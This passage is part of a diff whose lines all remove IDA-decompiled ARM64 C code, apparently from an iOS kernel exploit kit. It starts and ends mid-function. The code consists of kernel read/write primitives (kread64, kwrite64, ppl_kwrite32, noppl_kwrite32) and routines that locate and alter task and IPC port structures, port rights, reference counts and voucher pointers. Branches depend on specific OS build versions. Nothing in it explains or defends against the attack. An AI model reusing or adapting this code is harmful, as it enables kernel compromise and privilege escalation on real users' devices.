LODWORD(v36[0]) == a2 ) - break; -LABEL_55: - ++v24; - v23 = out_processor_listCnt; - if ( v24 >= out_processor_listCnt ) - goto LABEL_58; - } - if ( v25 < *a4 ) - { - *(_QWORD *)(a3 + 8LL * v25++) = v27; - goto LABEL_55; - } - v8 = 0xAD00CLL; -LABEL_68: - v23 = out_processor_listCnt; - v10 = v8; -LABEL_69: - if ( v23 ) - { - v28 = 0LL; - do - mach_port_deallocate(mach_task_self_, out_processor_list[v28++]); - while ( v28 < out_processor_listCnt ); - v29 = 4LL * out_processor_listCnt; - } - else - { - v29 = 0LL; - } - vm_deallocate(mach_task_self_, (vm_address_t)out_processor_list, v29); - return v10; -} - -//----- (00000000000353DC) ---------------------------------------------------- -__int64 __fastcall sub_353DC(__int64 a1) -{ - int v1; // w8 - - v1 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v1 - 0x1F53) < 2 ) - return 0x60LL; - if ( v1 == 0x1809 ) - return 0x58LL; - if ( v1 == 0x1C1B ) - return 0x60LL; - return 0LL; -} - -//----- (0000000000035420) ---------------------------------------------------- -__int64 __fastcall sub_35420(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - int v4; // w8 - bool v5; // zf - int v6; // w9 - __int64 v8; // x8 - - result = 0LL; - v4 = *(_DWORD *)(a1 + 0x140); - if ( v4 <= 0x1F53 ) - { - if ( v4 == 0x1809 || v4 == 0x1C1B ) - { - v8 = 0x40LL; - } - else - { - if ( v4 != 0x1F53 ) - return result; - v8 = 0x30LL; - } - return v8 + a2; - } - if ( v4 > 0x225B ) - { - v5 = v4 == 0x225C; - v6 = 0x2712; - } - else - { - v5 = v4 == 0x1F54; - v6 = 0x2258; - } - if ( v5 || v4 == v6 ) - { - v8 = 0x20LL; - return v8 + a2; - } - return result; -} - -//----- (00000000000354A4) ---------------------------------------------------- -__int64 __fastcall sub_354A4(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - result = task_get_ipc_port(a1, mach_task_self_, a2); - if ( result ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_35420(a1, result); - } - return result; -} -// 354E4: variable 'vars8' is possibly undefined - -//----- (0000000000035500) ---------------------------------------------------- -__int64 __fastcall sub_35500(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - __int64 v4; // [xsp+8h] [xbp-18h] BYREF - - result = sub_354A4(a1, a2); - v4 = result; - if ( result ) - { - if ( (unsigned int)kread64(a1, result, &v4) ) - { - if ( validate_addr(a1, v4) ) - return v4; - else - return 0LL; - } - else - { - return 0LL; - } - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000035568) ---------------------------------------------------- -__int64 __fastcall sub_35568(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - unsigned __int64 v4; // x8 - __int64 v5; // x1 - bool v6; // cc - __int64 v7; // x8 - __int64 v8; // [xsp+8h] [xbp-18h] BYREF - - result = sub_35500(a1, a2); - v8 = result; - if ( result ) - { - v4 = *(_QWORD *)(a1 + 0x158); - if ( v4 < 0x1C1B0A80100000LL ) - { - v5 = result + 0x18; - } - else - { - if ( v4 >> 0x2B >= 0x44B ) - return result + 0x50; - v6 = v4 > 0x1C1B19145FFFFFLL; - v7 = 0x20LL; - if ( v6 ) - v7 = 0x18LL; - v5 = v7 + result; - } - if ( (unsigned int)kread64(a1, v5, &v8) ) - return v8; - return 0LL; - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000035610) ---------------------------------------------------- -__int64 __fastcall sub_35610(__int64 a1, int a2) -{ - unsigned __int64 v4; // x1 - __int64 v5; // x0 - unsigned int v6; // w0 - __int64 ipc_port; // x0 - __int64 v9; // [xsp+8h] [xbp-18h] BYREF - - v4 = *(_QWORD *)(a1 + 0x1A8); - if ( !v4 ) - { - v6 = sub_32B10(a1); - if ( v6 + 1 < 2 ) - return 0LL; - ipc_port = task_get_ipc_port(a1, mach_task_self_, v6); - v4 = ipc_port; - if ( !ipc_port ) - return v4; - *(_QWORD *)(a1 + 0x1A8) = ipc_port; - } - if ( a2 == 1 ) - return v4; - v5 = sub_328A4(a1, v4); - if ( !v5 ) - return 0LL; - if ( kread64((_DWORD *)a1, v5 + (unsigned int)(*(_DWORD *)(a1 + 0x168) * a2) + 0x10, &v9) ) - return v9; - else - return 0LL; -} - -//----- (00000000000356C8) ---------------------------------------------------- -__int64 __fastcall sub_356C8(_DWORD *a1, unsigned int a2, _QWORD *a3) -{ - __int64 v5; // x19 - int v6; // w8 - unsigned __int64 v9; // x0 - __int64 v11; // [xsp+8h] [xbp-28h] BYREF - - v5 = 0x28007LL; - v6 = a1[0x50]; - if ( v6 > 0x1F52 ) - { - if ( (unsigned int)(v6 - 0x1F53) >= 2 && v6 != 0x2258 ) - return v5; -LABEL_12: - v9 = port_name_to_kaddr((__int64)a1, a2); - if ( !v9 ) - return 0x28025LL; - if ( !kread64(a1, v9 + 0x38, &v11) ) - return 0x2800FLL; - if ( !validate_addr((__int64)a1, v11) ) - return 0x28026LL; - v5 = 0LL; - *a3 = v11; - return v5; - } - if ( v6 == 0x1809 || v6 == 0x1C1B ) - goto LABEL_12; - return v5; -} - -//----- (000000000003579C) ---------------------------------------------------- -__int64 __fastcall sub_3579C(__int64 a1, int a2, _QWORD *a3) -{ - __int64 v6; // x22 - int v7; // w8 - __int64 result; // x0 - int v9; // w9 - __int64 v11; // x23 - unsigned __int64 v12; // x0 - __int64 v13; // x1 - __int64 v14; // [xsp+8h] [xbp-48h] BYREF - __int64 v15; // [xsp+10h] [xbp-40h] BYREF - __int64 v16; // [xsp+18h] [xbp-38h] BYREF - - v6 = 0x2800FLL; - v7 = *(_DWORD *)(a1 + 0x140); - result = 0x2802CLL; - if ( v7 <= 0x2257 ) - { - if ( (unsigned int)(v7 - 0x1F53) >= 2 ) - { - if ( v7 == 0x1809 ) - { - v11 = 0x108LL; - goto LABEL_16; - } - v9 = 0x1C1B; - goto LABEL_13; - } -LABEL_10: - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - v11 = 0x100LL; - else - v11 = 0xF8LL; - goto LABEL_16; - } - if ( v7 == 0x2258 || v7 == 0x225C ) - goto LABEL_10; - v9 = 0x2712; -LABEL_13: - if ( v7 != v9 ) - return result; - v11 = 0xF8LL; -LABEL_16: - v12 = sub_33E8C(a1, mach_task_self_); - if ( !v12 ) - return 0x2800ELL; - if ( kread64((_DWORD *)a1, v12 + v11, &v16) ) - { - if ( !validate_addr(a1, v16) ) - return 0x28026LL; - v13 = v16; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) - { - if ( !kread64((_DWORD *)a1, v16, &v15) ) - return v6; - if ( !validate_addr(a1, v15) ) - return 0x28026LL; - v13 = v15; - } - else - { - v15 = v16; - } - if ( kread64((_DWORD *)a1, v13 + *(int *)(a1 + 0x168) * (__int64)a2, &v14) ) - { - if ( validate_addr(a1, v14) ) - { - v6 = 0LL; - *a3 = v14; - return v6; - } - return 0x28026LL; - } - } - return v6; -} - -//----- (0000000000035938) ---------------------------------------------------- -__int64 __fastcall sub_35938(_DWORD *a1, int a2, _QWORD *a3) -{ - int v5; // w8 - __int64 result; // x0 - bool v7; // zf - int v8; // w9 - _BOOL4 v10; // w8 - __int64 v11; // [xsp+8h] [xbp-38h] BYREF - __int64 v12; // [xsp+10h] [xbp-30h] BYREF - __int64 v13; // [xsp+18h] [xbp-28h] BYREF - - v5 = a1[0x50]; - result = 0x2802CLL; - if ( v5 > 0x2257 ) - { - v7 = v5 == 0x2258 || v5 == 0x2712; - v8 = 0x225C; - } - else - { - v7 = (unsigned int)(v5 - 0x1F53) < 2 || v5 == 0x1809; - v8 = 0x1C1B; - } - if ( v7 || v5 == v8 ) - { - result = sub_3579C((__int64)a1, a2, &v13); - if ( !(_DWORD)result ) - { - if ( !kread64(a1, v13 + 0x10, &v12) ) - return 0x2800FLL; - if ( validate_addr((__int64)a1, v12) ) - { - v10 = kread64(a1, v12 + 0x38, &v11); - result = 0x2800FLL; - if ( !v10 ) - return result; - if ( validate_addr((__int64)a1, v11) ) - { - result = 0LL; - *a3 = v11; - return result; - } - } - return 0x28026LL; - } - } - return result; -} - -//----- (0000000000035A50) ---------------------------------------------------- -unsigned __int64 __fastcall sub_35A50(__int64 a1, int a2, _DWORD *a3) -{ - unsigned __int64 v3; // x20 - - if ( a2 ) - return 0LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 8) ) - { - v3 = 0xFFFFFE0000000000LL; - } - else - { - v3 = 0xFFFFFFE000000000LL; - if ( *(_QWORD *)(a1 + 0x158) >= 0x22581401900000uLL && !krw_ctx_has_flag((_DWORD *)a1, 0x2000) ) - v3 = 0xFFFFFFDC00000000LL; - } - *a3 = 6; - return v3; -} - -//----- (0000000000035AE0) ---------------------------------------------------- -void __fastcall sub_35AE0(__int64 a1, unsigned int a2, __int64 a3) -{ - __int64 v3; // x21 - __int64 v5; // x19 - unsigned __int64 v6; // x8 - mach_vm_address_t v7; // x1 - __int64 v8; // x8 - unsigned int v9; // w10 - __int64 v10; // x2 - mach_vm_address_t v11; // x1 - unsigned __int64 v12; // x9 - __int64 v13; // x10 - __int64 v14; // x11 - void *(__cdecl *v15)(void *); // x0 - __int64 v16; // [xsp+0h] [xbp-80h] BYREF - unsigned int v17; // [xsp+8h] [xbp-78h] - int v18; // [xsp+Ch] [xbp-74h] - pthread_t v19; // [xsp+10h] [xbp-70h] BYREF - pthread_attr_t v20; // [xsp+18h] [xbp-68h] BYREF - __int64 vars8; // [xsp+88h] [xbp+8h] - - if ( a2 > 6 ) - return; - v3 = a3; - v5 = a1; - v6 = *(_QWORD *)(a1 + 0x158); - if ( v6 >= 0x1F530F02800000LL ) - { - if ( !a3 ) - a3 = 0xFFFFFFFFFFFFFFFFLL; - v7 = *(_QWORD *)(a1 + 0x18F0) + *(_DWORD *)(a1 + 0x168) * (a2 + 1); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - sub_2A63C(a1, v7, a3); - return; - } - if ( a3 ) - { - if ( (*(_DWORD *)a1 & 0x5584001) != 0 && sub_29D2C((_DWORD *)a1, a3) == a3 ) - return; - goto LABEL_18; - } - if ( v6 < 0x1F530000000000LL || (*(_DWORD *)a1 & 0x5584001) == 0 ) - { -LABEL_18: - v11 = *(_QWORD *)(v5 + 0x18F0) + *(_DWORD *)(v5 + 0x168) * (a2 + 1); - a1 = v5; - v10 = v3; -LABEL_19: - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - kwrite64(a1, v11, v10); - return; - } - v8 = *(_QWORD *)(a1 + 0x18F0); - if ( *(_QWORD *)(a1 + 0x3B0) == v8 ) - { - v9 = 0; -LABEL_17: - v10 = *(_QWORD *)(a1 + ((unsigned __int64)v9 << 6) + 8LL * a2 + 0x3B8); - v11 = v8 + *(_DWORD *)(a1 + 0x168) * (a2 + 1); - goto LABEL_19; - } - v12 = 0xFFFFFFFFFFFFFFFFLL; - v13 = 0x3F0LL; - while ( v12 != 6 ) - { - v14 = *(_QWORD *)(a1 + v13); - ++v12; - v13 += 0x40LL; - if ( v14 == v8 ) - { - if ( v12 < 7 ) - { - v9 = v12 + 1; - goto LABEL_17; - } - break; - } - } - if ( !pthread_attr_init(&v20) ) - { - if ( !pthread_attr_setdetachstate(&v20, 1) ) - { - v19 = 0LL; - v16 = v5; - v17 = a2; - v18 = 0x1001; - v15 = (void *(__cdecl *)(void *))nullsub_1(sub_39150); - if ( !pthread_create(&v19, &v20, v15, &v16) ) - pthread_join(v19, 0LL); - } - pthread_attr_destroy(&v20); - } -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000035D94) ---------------------------------------------------- -unsigned __int64 __fastcall sub_35D94(__int64 a1, __int64 a2, int a3) -{ - unsigned __int64 result; // x0 - mach_vm_address_t v6; // x21 - unsigned int v7; // [xsp+Ch] [xbp-24h] BYREF - - result = sub_32A64(a1, a2); - if ( result ) - { - v6 = result; - result = kread32_outptr(a1, result, &v7); - if ( (_DWORD)result ) - return v7 <= 0x80000000 && noppl_kwrite32(a1, v6, v7 + a3); - } - return result; -} - -//----- (0000000000035E18) ---------------------------------------------------- -__int64 __fastcall sub_35E18(__int64 a1, __int64 a2, int a3) -{ - __int64 v5; // x20 - __int64 result; // x0 - int v7; // [xsp+Ch] [xbp-24h] BYREF - - v5 = a2 + 4; - result = kreadbuf_last_1(a1, a2 + 4, 4LL, (__int64)&v7); - if ( (_DWORD)result ) - { - v7 += a3; - return (unsigned int)kwritebuf_last_1(a1, v5, (__int64)&v7, 4LL) != 0; - } - return result; -} - -//----- (0000000000035E8C) ---------------------------------------------------- -__int64 __fastcall sub_35E8C(__int64 a1, __int64 a2) -{ - sub_35E18(a1, a2, 1); - sub_35D94(a1, a2, 1); - return 0LL; -} - -//----- (0000000000035ECC) ---------------------------------------------------- -__int64 __fastcall sub_35ECC(__int64 a1, unsigned __int64 a2, int a3) -{ - mach_vm_address_t v6; // x22 - __int64 result; // x0 - __int64 v8; // x21 - __int64 v9; // [xsp+0h] [xbp-30h] BYREF - int v10; // [xsp+Ch] [xbp-24h] BYREF - - v6 = a2 + 0x10; - result = kread32_outptr(a1, a2 + 0x10, &v10); - if ( (_DWORD)result ) - { - if ( (unsigned int)(v10 - 1) >> 0x14 ) - return 0LL; - result = ppl_kwrite32(a1, v6, v10 + a3); - if ( !(_DWORD)result ) - return result; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) - return 1LL; - result = kread64((_DWORD *)a1, a2, &v9); - if ( (_DWORD)result ) - { - result = validate_addr(a1, v9); - if ( result ) - { - v8 = *(int *)(a1 + 0x140) <= 0x2711 ? 0x18LL : 0LL; - result = kread32_outptr(a1, v8 + v9, &v10); - if ( (_DWORD)result ) - { - if ( !((unsigned int)(v10 - 1) >> 0x14) ) - { - result = noppl_kwrite32(a1, v9 + v8, v10 + a3); - if ( !(_DWORD)result ) - return result; - return 1LL; - } - return 0LL; - } - } - } - } - return result; -} - -//----- (0000000000035FD8) ---------------------------------------------------- -__int64 __fastcall sub_35FD8(__int64 a1, unsigned __int64 a2) -{ - if ( (unsigned int)sub_35ECC(a1, a2, 0x10) ) - return 0LL; - else - return 0x1001LL; -} - -//----- (0000000000036000) ---------------------------------------------------- -__int64 __fastcall sub_36000(__int64 a1, __int64 a2) -{ - __int64 v3; // x19 - mach_vm_address_t v4; // x21 - int v6; // [xsp+Ch] [xbp-24h] BYREF - - v3 = 0x2800FLL; - v4 = a2 + 0x10; - if ( kread32_outptr(a1, a2 + 0x10, &v6) ) - { - if ( v6 ) - { - if ( noppl_kwrite32(a1, v4, v6 + 4) ) - return 0LL; - else - return 0x28010LL; - } - else - { - return 0x28011LL; - } - } - return v3; -} - -//----- (0000000000036078) ---------------------------------------------------- -_DWORD *__fastcall krw_ctx_set_flag(_DWORD *result, int a2) -{ - *result |= a2; - return result; -} - -//----- (0000000000036088) ---------------------------------------------------- -_DWORD *__fastcall sub_36088(_DWORD *result, int a2) -{ - *result &= ~a2; - return result; -} - -//----- (0000000000036098) ---------------------------------------------------- -bool __fastcall krw_ctx_has_flag(_DWORD *a1, int a2) -{ - return (*a1 & a2) != 0; -} - -//----- (00000000000360A8) ---------------------------------------------------- -__int64 __fastcall sub_360A8(__int64 a1) -{ - __int64 result; // x0 - __int64 v3; // x1 - __int64 v4; // x20 - int v5; // [xsp+4h] [xbp-1Ch] BYREF - __int64 v6; // [xsp+8h] [xbp-18h] BYREF - - v6 = 0LL; - result = *(_QWORD *)(a1 + 0x210); - if ( !result ) - { - v3 = *(_QWORD *)(a1 + 0x19D0); - if ( v3 ) - { - result = sub_329B8(a1, v3); - if ( !result ) - return result; - v4 = result; - if ( (unsigned int)kread64(a1, result, &v6) ) - { - if ( v6 ) - { - result = validate_addr(a1, v6); - if ( !result ) - return result; -LABEL_10: - result = v6; - *(_QWORD *)(a1 + 0x210) = v6; - return result; - } - v5 = 0x200; - result = sub_3796C(a1, &v5); - v6 = result; - if ( !result ) - return result; - if ( (unsigned int)kwrite64(a1, v4, result) ) - goto LABEL_10; - } - } - return 0LL; - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); -// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000036160) ---------------------------------------------------- -__int64 __fastcall sub_36160(__int64 a1, unsigned int a2, __int64 *a3) -{ - __int64 result; // x0 - __int64 v7; // [xsp+8h] [xbp-28h] BYREF - - if ( a2 > 0xD ) - return 0LL; - result = sub_360A8(a1); - v7 = result; - if ( result ) - { - result = kread64(a1, result + *(_DWORD *)(a1 + 0x168) * a2, &v7); - if ( (_DWORD)result ) - { - *a3 = v7; - return 1LL; - } - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (00000000000361DC) ---------------------------------------------------- -__int64 __fastcall sub_361DC(__int64 a1, unsigned int a2, __int64 a3) -{ - __int64 result; // x0 - __int64 v6; // x20 - __int64 v7; // [xsp+8h] [xbp-28h] BYREF - - v7 = a3; - if ( a2 > 0xD ) - return 0LL; - v6 = *(unsigned int *)(a1 + 0x168); - result = sub_360A8(a1); - if ( result ) - return kwritebuf_last_1(a1, result + (unsigned int)v6 * a2, (__int64)&v7, v6); - return result; -} - -//----- (0000000000036248) ---------------------------------------------------- -bool __fastcall voucher_create_mach_voucher(__int64 a1, __int64 a2, ipc_voucher_t *a3) -{ - host_t v4; // w0 - __int128 v6; // [xsp+0h] [xbp-30h] BYREF - __int64 v7; // [xsp+10h] [xbp-20h] - - v6 = xmmword_43710; - v7 = a2; - v4 = mach_host_self(); - return host_create_mach_voucher(v4, (mach_voucher_attr_raw_recipe_array_t)&v6, 0x18u, a3) == 0; -} -// 43710: using guessed type __int128 xmmword_43710; - -//----- (000000000003629C) ---------------------------------------------------- -__int64 __fastcall create_mach_port_with_a2(__int64 a1, unsigned int a2) -{ - pid_t v3; // w0 - int mach_port; // w0 - int v6; // w19 - int v7; // w8 - __int64 buffer; // [xsp+8h] [xbp-18h] BYREF - - buffer = 0LL; - v3 = getpid(); - if ( proc_pidinfo(v3, 0x20, 0LL, &buffer, 8) == 8 ) - { - if ( (unsigned int)buffer >= a2 ) - { - return 0LL; - } - else - { - mach_port = create_mach_port(a2); - if ( mach_port ) - return mach_port | 0x80000000; - else - return 0LL; - } - } - else - { - v6 = *__error(); - v7 = *__error(); - if ( v6 < 0 ) - v7 = -v7; - return v7 | 0x40000000u; - } -} - -//----- (0000000000036330) ---------------------------------------------------- -__int64 __fastcall create_mach_port(int a1) -{ - __int64 v2; // x19 - unsigned int inserted; // w0 - mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF - - name = 0; - v2 = mach_port_allocate(mach_task_self_, 1u, &name); - if ( !(_DWORD)v2 ) - { - inserted = mach_port_insert_right(mach_task_self_, (a1 << 8) | 3, name, 0x15u); - if ( inserted ) - { - if ( inserted == 0xD ) - v2 = 0LL; - else - v2 = inserted; - } - else - { - mach_port_deallocate(mach_task_self_, (a1 << 8) | 3); - v2 = 0LL; - } - } - if ( name + 1 >= 2 ) - mach_port_mod_refs(mach_task_self_, name, 1u, 0xFFFFFFFF); - return v2; -} - -//----- (00000000000363E4) ---------------------------------------------------- -__int64 __fastcall sub_363E4(__int64 a1, unsigned int a2) -{ - pid_t v3; // w0 - int mach_port; // w0 - int v6; // w19 - int v7; // w8 - __int64 buffer; // [xsp+8h] [xbp-18h] BYREF - - buffer = 0LL; - v3 = getpid(); - if ( proc_pidinfo(v3, 0x20, 0LL, &buffer, 8) == 8 ) - { - if ( HIDWORD(buffer) >= a2 ) - { - return 0LL; - } - else - { - mach_port = create_mach_port(a2 - HIDWORD(buffer) + (unsigned int)buffer); - if ( mach_port ) - return mach_port | 0x80000000; - else - return 0LL; - } - } - else - { - v6 = *__error(); - v7 = *__error(); - if ( v6 < 0 ) - v7 = -v7; - return v7 | 0x40000000u; - } -} - -//----- (0000000000036480) ---------------------------------------------------- -__int64 __fastcall sub_36480(__int64 a1, unsigned __int64 a2, mach_port_name_t *a3) -{ - __int64 v6; // x25 - _BOOL4 v7; // w0 - unsigned int v8; // w9 - __int64 v9; // x22 - unsigned __int64 v10; // x8 - int v11; // w23 - _BOOL8 v12; // x0 - __int64 v13; // x0 - __int64 v14; // x22 - vm_size_t v15; // x23 - kern_return_t v16; // w0 - mach_port_name_t v17; // w24 - int v18; // w8 - __int64 v19; // x23 - __int64 v20; // x0 - unsigned __int64 v21; // x0 - unsigned __int64 v22; // x22 - __int64 v23; // x0 - int v24; // w8 - __int64 v25; // x23 - _BOOL4 v26; // w20 - unsigned int v27; // w24 - vm_address_t v28; // x22 - unsigned int v29; // w8 - __int64 v30; // x0 - int v31; // w8 - int v33; // w0 - __int64 v34; // x0 - __int64 v35; // x22 - __int64 v36; // x0 - int v37; // w23 - int v38; // w24 - __int64 v39; // x0 - mach_vm_address_t v40; // x22 - unsigned int v41; // w28 - mach_port_t v42; // w22 - mach_port_t v43; // w23 - mach_port_name_t v45; // w23 - __int64 v46; // x0 - mach_vm_address_t v47; // x21 - int v48; // [xsp+4h] [xbp-7Ch] BYREF - __int64 v49; // [xsp+8h] [xbp-78h] BYREF - mach_port_t previous[2]; // [xsp+10h] [xbp-70h] BYREF - unsigned __int64 __buf; // [xsp+18h] [xbp-68h] BYREF - mach_port_name_t name[2]; // [xsp+20h] [xbp-60h] BYREF - vm_address_t address; // [xsp+28h] [xbp-58h] BYREF - - v6 = 0x28010LL; - LODWORD(address) = 0; - v7 = kread32_outptr(a1, a2, &address); - if ( (address & 0x80000000) == 0LL ) - v8 = 0x28008; - else - v8 = 0; - if ( v7 ) - v9 = v8; - else - v9 = 0x2800FLL; - if ( !v7 || (address & 0x80000000) == 0 ) - return v9; - v10 = *(_QWORD *)(a1 + 0x158); - if ( v10 < 0x1F530000000000LL ) - { -LABEL_21: - *(_QWORD *)name = 0LL; - v18 = *(_DWORD *)(a1 + 0x140); - v9 = 0x2802CLL; - v19 = 0x38LL; - if ( v18 <= 0x1F52 ) - { - if ( v18 != 0x1809 && v18 != 0x1C1B ) - return v9; - } - else if ( (unsigned int)(v18 - 0x1F53) >= 2 ) - { - if ( v18 != 0x2258 ) - return v9; - v19 = 0x30LL; - } - arc4random_buf(&__buf, 8uLL); - v49 = 0LL; - *(_QWORD *)previous = 0LL; - if ( !voucher_create_mach_voucher(v20, __buf, &name[1]) ) - { -LABEL_71: - v26 = 0; - v6 = 0x1001LL; - goto LABEL_72; - } - v21 = port_name_to_kaddr(a1, name[1]); - if ( v21 ) - { - v22 = v21 + v19; - if ( !(unsigned int)kread64(a1, v21 + v19, &address) ) - goto LABEL_45; - if ( validate_addr(a1, address) ) - { - v23 = kwrite64(a1, v22, a2); - if ( !(_DWORD)v23 ) - goto LABEL_86; - v24 = *(_DWORD *)(a1 + 0x140); - if ( v24 >= 0x1F54 ) - { - v23 = kread64(a1, a2 + 0x58, &v49); - if ( (_DWORD)v23 ) - { - if ( v49 != 1 ) - { - v23 = kwrite64(a1, a2 + 0x58, 1LL); - if ( !(_DWORD)v23 ) - goto LABEL_86; - } - v25 = 0x58LL; -LABEL_66: - if ( voucher_create_mach_voucher(v23, __buf, name) ) - { - v31 = *(_DWORD *)(a1 + 0x140); - if ( v31 < 0x1F54 ) - { - if ( v31 == 0x1F53 - && previous[1] != previous[0] - && !(unsigned int)kwritebuf_last_1(a1, a2 + 8, (__int64)&previous[1], 4LL) ) - { - goto LABEL_86; - } - } - else if ( v49 != 1 && !(unsigned int)kwrite64(a1, v25 + a2, v49) ) - { - goto LABEL_86; - } - v33 = kwrite64(a1, v22, address); - v26 = v33 != 0; - if ( v33 ) - v6 = 0LL; - else - v6 = 0x28010LL; - goto LABEL_72; - } - goto LABEL_71; - } - goto LABEL_45; - } - if ( v24 != 0x1F53 ) - { -LABEL_44: - v25 = 0LL; - goto LABEL_66; - } - v23 = kreadbuf_last_1(a1, a2 + 8, 4LL, (__int64)&previous[1]); - if ( (_DWORD)v23 ) - { - if ( (previous[1] & 0x1000000) != 0 ) - { - v25 = 0LL; - previous[0] = previous[1]; - goto LABEL_66; - } - previous[0] = previous[1] | 0x1000000; - v23 = kwritebuf_last_1(a1, a2 + 8, (__int64)previous, 4LL); - if ( (_DWORD)v23 ) - goto LABEL_44; -LABEL_86: - v26 = 0; - goto LABEL_72; - } -LABEL_45: - v26 = 0; - v6 = 0x2800FLL; - goto LABEL_72; - } - v26 = 0; - v6 = 0x28026LL; - } - else - { - v26 = 0; - v6 = 0x28025LL; - } -LABEL_72: - if ( name[1] + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, name[1]); - if ( v26 ) - { - *a3 = name[0]; - } - else if ( name[0] + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, name[0]); - } - return v6; - } - if ( v10 <= 0x1F5418FFFFFFFFLL ) - v11 = 0x400000; - else - v11 = 0x200000; - v12 = kread32_outptr(a1, a2 + 8, &address); - if ( !v12 ) - return 0x2800FLL; - if ( ((unsigned int)address & v11) != 0 ) - { - v12 = noppl_kwrite32(a1, a2 + 8, address & ~v11); - if ( !v12 ) - return v6; - } - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - goto LABEL_21; - name[0] = 0; - *(_QWORD *)previous = 0LL; - v48 = 0; - address = 0LL; - v9 = sub_363E4(v12, 8u); - if ( !(_DWORD)v9 ) - { - v13 = sub_3382C(a1, mach_task_self_, &v49, &name[1]); - if ( v13 ) - { - v14 = v13; - v15 = name[1] * (unsigned int)v49; - v16 = vm_allocate(mach_task_self_, &address, v15, 1); - if ( v16 ) - { - v17 = 0; - v9 = v16 | 0x80000000; - } - else if ( (unsigned int)kreadbuf_last_1(a1, v14, name[1] * (unsigned int)v49, address) ) - { - if ( (_DWORD)v49 ) - { - v27 = 0; - while ( 1 ) - { - __buf = 0LL; - v28 = address + name[1] * v27; - __memcpy_chk(); - if ( __buf ) - { - __buf = sub_29D2C((_DWORD *)a1, __buf); - if ( __buf == a2 ) - { - v29 = *(_DWORD *)(v28 + *(int *)(a1 + 0x168)); - if ( (v29 & 0x10000) != 0 ) - break; - } - } - if ( ++v27 >= (unsigned int)v49 ) - goto LABEL_54; - } - v9 = 0LL; - v17 = __PAIR64__(v27, v29) >> 0x18; - } - else - { -LABEL_54: - v17 = 0; - v9 = 0LL; - } - } - else - { - v17 = 0; - v9 = 0x2800FLL; - } - if ( address && (_DWORD)v15 ) - vm_deallocate(mach_task_self_, address, v15); - if ( !(_DWORD)v9 ) - { - if ( v17 + 1 >= 2 ) - { - LODWORD(v30) = mach_port_mod_refs(mach_task_self_, v17, 0, 1); - if ( !(_DWORD)v30 ) - { - v9 = 0LL; - *a3 = v17; - return v9; - } - return (unsigned int)v30 | 0x80000000; - } - LODWORD(v30) = mach_port_allocate(mach_task_self_, 1u, name); - if ( (_DWORD)v30 ) - return (unsigned int)v30 | 0x80000000; - v34 = sub_32D6C(a1, name[0]); - if ( !v34 ) - return 0x2800ELL; - v35 = v34; - v36 = sub_32820(a1, v34); - if ( !v36 ) - return 0x2802CLL; - v37 = v36; - v38 = *(_DWORD *)(a1 + 0x168); - if ( !kread32_outptr(a1, a2, &v48) ) - return 0x2800FLL; - if ( (v48 & 0x400) != 0 && !noppl_kwrite32(a1, a2, v48 & 0xFFFFFBFF) - || !(unsigned int)sub_288A4(a1, v35 + (unsigned int)(v37 - v35 + 2 * v38), a2) ) - { - return 0x28010LL; - } - v30 = mach_port_request_notification(mach_task_self_, name[0], 0x46, 1u, 0, 0x15u, &previous[1]); - if ( (_DWORD)v30 ) - return (unsigned int)v30 | 0x80000000; - v9 = 0x28008LL; - if ( previous[1] + 1 >= 2 ) - { - v9 = sub_363E4(v30, 8u); - if ( !(_DWORD)v9 ) - { - v39 = sub_33A1C(a1, previous[1]); - if ( !v39 ) - return 0x2800ELL; - v40 = v39 + 8; - if ( kread32_outptr(a1, v39 + 8, previous) ) - { - if ( (previous[0] & 0x1F0000) != 0x40000 ) - return 0x28011LL; - previous[0] = previous[0] & 0xFFE0FFFF | 0x10000; - if ( noppl_kwrite32(a1, v40, previous[0]) ) - { - LODWORD(v30) = mach_port_mod_refs(mach_task_self_, name[0], 1u, 0xFFFFFFFF); - if ( !(_DWORD)v30 ) - { - v41 = 0; - v42 = mach_task_self_; - v43 = previous[1]; - while ( 1 ) - { - LODWORD(address) = 0; - LODWORD(v30) = mach_port_allocate(v42, 1u, (mach_port_name_t *)&address); - if ( (_DWORD)v30 ) - break; - LODWORD(v30) = mach_port_mod_refs(v42, address, 1u, 0xFFFFFFFF); - if ( (_DWORD)v30 ) - break; - LODWORD(v30) = mach_port_insert_right(v42, address, v43, 0x13u); - if ( !(_DWORD)v30 ) - { - v45 = address; - if ( (v48 & 0x400) != 0 ) - noppl_kwrite32(a1, a2, v48); - v46 = sub_33A1C(a1, previous[1]); - if ( !v46 ) - return 0x2800ELL; - v47 = v46 + 8; - if ( !kread32_outptr(a1, v46 + 8, previous) ) - return 0x2800FLL; - if ( (previous[0] & 0x1F0000) == 0x10000 ) - { - previous[0] = previous[0] & 0xFFE0FFFF | 0x100000; - v9 = 0x28010LL; - if ( !noppl_kwrite32(a1, v47, previous[0]) ) - return v9; - LODWORD(v30) = mach_port_mod_refs(mach_task_self_, previous[1], 4u, 0xFFFFFFFF); - if ( 